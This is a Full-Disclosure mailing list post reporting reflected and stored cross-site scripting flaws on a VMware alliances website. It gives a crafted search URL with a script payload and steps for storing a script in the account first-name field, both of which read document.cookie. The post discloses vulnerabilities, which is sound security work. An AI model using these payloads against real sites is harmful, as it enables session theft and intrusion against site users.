Re: Vmware Web-Site Persistence and Non-Persistence Cross-Site Scripting

[asish agarwalla <asishagarwalla () gmail com>]

*Non-**Persistence/**Reflected Cross-Site Scripting*

http://alliances.vmware.com/public_html/catalog/searchResult.php?isServicesProduct=no&isEntireCatalogSearch=yes&lastOnMenu=sub1,sub4&searchKey=
"/><script>alert(document.cookie)</script>&category=all&isVmwareReadySelected=no


*Persistence Cross-Site Scripting*

Create a account in VMWARE. Insert First Name as : test
"/>><script>alert(document.cookie)</script>., Inserted script stored as
first name.

Login to vmware, Select Login to as Manage Orders, Inserted script get
executed.

Attachment: VM (1).docx
Description:

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/